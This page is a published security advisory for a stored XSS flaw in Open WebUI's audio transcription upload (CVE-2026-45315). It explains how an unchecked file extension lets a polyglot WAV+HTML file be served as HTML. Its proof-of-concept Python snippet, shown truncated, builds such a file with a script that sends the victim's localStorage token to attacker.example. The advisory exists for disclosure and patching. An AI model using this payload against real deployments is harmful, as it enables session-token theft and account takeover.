Skip to content
Open WebUIGHSA-m8f9-9whg-f4xr

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

High8.7CVE-2026-45315 · Published May 14, 2026 · updated Jul 13, 2026

## Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL , the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. ## Details Verified on main @ 8dae237a (v0.9.2): - backend/open_webui/routers/audio.py:1244-1249 , ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.content_type. - backend/open_webui/main.py:2768-2779 , /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/open_webui/utils/misc.py:889-921 , strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regar...

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.30.9.3
Details and references

## Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL , the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. ## Details Verified on main @ 8dae237a (v0.9.2): - backend/open_webui/routers/audio.py:1244-1249 , ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.content_type. - backend/open_webui/main.py:2768-2779 , /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/open_webui/utils/misc.py:889-921 , strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/open_webui/config.py:1482 , USER_PERMISSIONS_CHAT_STT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) , JWT lives in localStorage.token, reachable from JS in the origin. - backend/open_webui/utils/oauth.py:1736-1739 , OAuth token cookie set with httponly=False. ## PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx data = b'\x80' * 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-434, CWE-646, CWE-79
Also known as
CVE-2026-45315, PYSEC-2026-2748

More Open WebUI advisories

All Open WebUI

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.